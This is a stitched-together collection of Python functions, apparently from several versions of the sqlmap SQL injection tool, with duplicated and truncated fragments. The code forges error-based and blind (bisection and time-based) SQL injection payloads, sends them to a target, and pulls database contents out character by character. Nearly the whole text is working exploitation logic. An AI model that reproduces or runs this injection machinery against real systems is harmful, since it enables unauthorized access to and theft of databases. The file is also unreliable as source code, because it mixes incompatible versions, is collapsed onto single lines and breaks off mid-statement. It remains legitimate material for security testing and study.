def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if value: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare: if field: nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def errorUse(expression, returnPayload=False): """ Retrieve the output of a SQL query taking advantage of an error SQL injection vulnerability on the affected parameter. """ output = None logic = conf.logic randInt = randomInt(1) query = agent.prefixQuery(queries[kb.misc.testedDbms].error.query) query = agent.suffixQuery(query) startLimiter = "" endLimiter = "" expressionUnescaped = expression if kb.dbmsDetected: _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) if kb.dbms == DBMS.MYSQL: nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row' expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) startLimiter = unescaper.unescape("'%s'" % ERROR_START_CHAR) endLimiter = unescaper.unescape("'%s'" % ERROR_END_CHAR) else: expressionUnescaped = kb.misc.handler.unescape(expression) startLimiter = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR) endLimiter = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR) forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter)) debugMsg = "query: %s" % forgedQuery logger.debug(debugMsg) payload = agent.payload(newValue=forgedQuery) result = Request.queryPage(payload, content=True) match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE) if match: output = match.group('result') if output: output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "") if conf.verbose > 0: infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True) logger.info(infoMsg) if returnPayload: return output, payload else: return output
def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if value: return value timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) if not (timeBasedCompare and kb.dnsTest): if ( (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not timeBasedCompare ): if field and re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): expression = "SELECT %s FROM (%s)" % (field, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): expression += " AS %s" % randomStr(lowercase=True) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(","): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = __goDns(payload, expression) if value: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1 ) and Backend.getIdentifiedDbms() and not timeBasedCompare: if field: nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %d seconds" % ( count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if payload is None: return None if value is not None: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): expression = "SELECT %s FROM (%s)" % (field, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = "" finalValue = "" asciiTbl = getCharset(charsetType) # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used kb.partRun = getPartRun() if conf.predictOutput else None if "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ): lastChar = int(conf.lastChar) elif lastChar in ( None, "0" ): lastChar = 0 elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) if kb.dbmsDetected: _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) debugMsg = "query: %s" % expressionUnescaped logger.debug(debugMsg) if length and not isinstance(length, int) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > ( lastChar - firstChar ): length = ( lastChar - firstChar ) showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) threads = [] if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if numThreads > 1: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X")) queriesCount = [0] # As list to deal with nested scoping rules hintlock = threading.Lock() def tryHint(idx): hintlock.acquire() hintValue = kb.hintValue hintlock.release() if hintValue is not None and len(hintValue) >= idx: if kb.dbms in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB): posValue = hintValue[idx-1] else: posValue = ord(hintValue[idx-1]) forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, posValue)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload) if result: return hintValue[idx-1] hintlock.acquire() kb.hintValue = None hintlock.release() return None def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if not continuousOrder: originalTbl = list(charTbl) else: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, charTbl[0])) queriesCount[0] += 1 result = Request.queryPage(forgedPayload) if result: return chr(charTbl[0]) if charTbl[0] < 128 else unichr(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB): pushValue(posValue) posValue = chr(posValue) if posValue < 128 else unichr(posValue) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload) if kb.dbms in (DBMS.SQLITE, DBMS.MAXDB): posValue = popValue() if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 return chr(retVal) if retVal < 128 else unichr(retVal) else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace('%3E', '%3D'), (expressionUnescaped, idx, retVal)) queriesCount[0] += 1 result = Request.queryPage(forgedPayload) if result: return chr(retVal) if retVal < 128 else unichr(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [ None ] * length index = [ firstChar ] # As list for python nested function scoping idxlock = threading.Lock() iolock = threading.Lock() valuelock = threading.Lock() kb.locks.seqLock = threading.Lock() conf.threadContinue = True def downloadThread(): try: while conf.threadContinue: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() if conf.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: if not kb.assumeEmpty: iolock.acquire() warnMsg = "failed to get character at index %d (expected %d total)." % (curidx, length) logger.warn(warnMsg) message = "assume empty character? [Y/n/a]" choice = readInput(message, default="Y") iolock.release() if choice in ("a", "A"): kb.assumeEmpty = True elif not choice or choice in ("y", "Y"): pass # do nothing else: raise sqlmapValueException val = '' else: break valuelock.acquire() value[curidx-1] = val currentValue = list(value) valuelock.release() if conf.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), replaceNewlineTabs(output, stdout=True))) iolock.release() if not conf.threadContinue: if int(threading.currentThread().getName()) == numThreads - 1: partialValue = unicode() for v in value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) except (sqlmapConnectionException, sqlmapValueException), errMsg: print conf.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg)) except KeyboardInterrupt: conf.threadException = True print logger.debug("waiting for threads to finish") try: while (threading.activeCount() > 1): pass except KeyboardInterrupt: raise sqlmapThreadException, "user aborted" except:
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ partialValue = u"" finalValue = None abortedFlag = False asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal: partialValue = retVal dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue))) else: dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal))) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used kb.partRun = getPartRun() if conf.predictOutput else None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression or "LEN(" in expression: firstChar = 0 elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ): firstChar = int(conf.firstChar) - 1 elif firstChar is None: firstChar = 0 elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int): firstChar = int(firstChar) - 1 if "LENGTH(" in expression or "LEN(" in expression: lastChar = 0 elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ): lastChar = int(conf.lastChar) elif lastChar in ( None, "0" ): lastChar = 0 elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): lastChar = int(lastChar) if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.unescape(expressionReplaced) else: expressionUnescaped = unescaper.unescape(expression) if length and isinstance(length, basestring) and length.isdigit(): length = int(length) if length == 0: return 0, "" if lastChar > 0 and length > ( lastChar - firstChar ): length = lastChar - firstChar showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) if showEta: progress = ProgressBar(maxValue=length) progressTime = [] if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx-1] else: posValue = ord(hintValue[idx-1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx-1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = list(asciiTbl) originalTbl = list(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,128*16-1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = list(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = False return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = True return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None def etaProgressUpdate(charTime, index): if len(progressTime) <= ( (length * 3) / 100 ): eta = 0 else: midTime = sum(progressTime) / len(progressTime) midTimeWithLatest = (midTime + charTime) / 2 eta = midTimeWithLatest * (length - index) / conf.threads progressTime.append(charTime) progress.update(index) progress.draw(eta) # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: value = [] threadData = getCurrentThreadData() threadData.shared.value = [ None ] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') output += status if count != length else " "*len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length)) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target url was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: etaProgressUpdate(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2): dataToStdout(filterControlChars(commonValue[index-1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index-1:] index += len(val)-1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None or ( lastChar > 0 and index > lastChar ): finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) partialValue += val if showEta: etaProgressUpdate(time.time() - charStart, index) elif conf.verbose in (1, 2): dataToStdout(filterControlChars(val)) if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): finalValue = partialValue break except KeyboardInterrupt: abortedFlag = True finally: setFormatterPrependFlag(False) if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue)) if conf.verbose in (1, 2) or showEta: dataToStdout("\n") if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise sqlmapThreadException, "something unexpected happened inside the threads" if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) if result and testChar in result: if result == testChar * current: kb.errorChunkLength = current break else: current = len(result) - len(kb.chars.stop) else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or 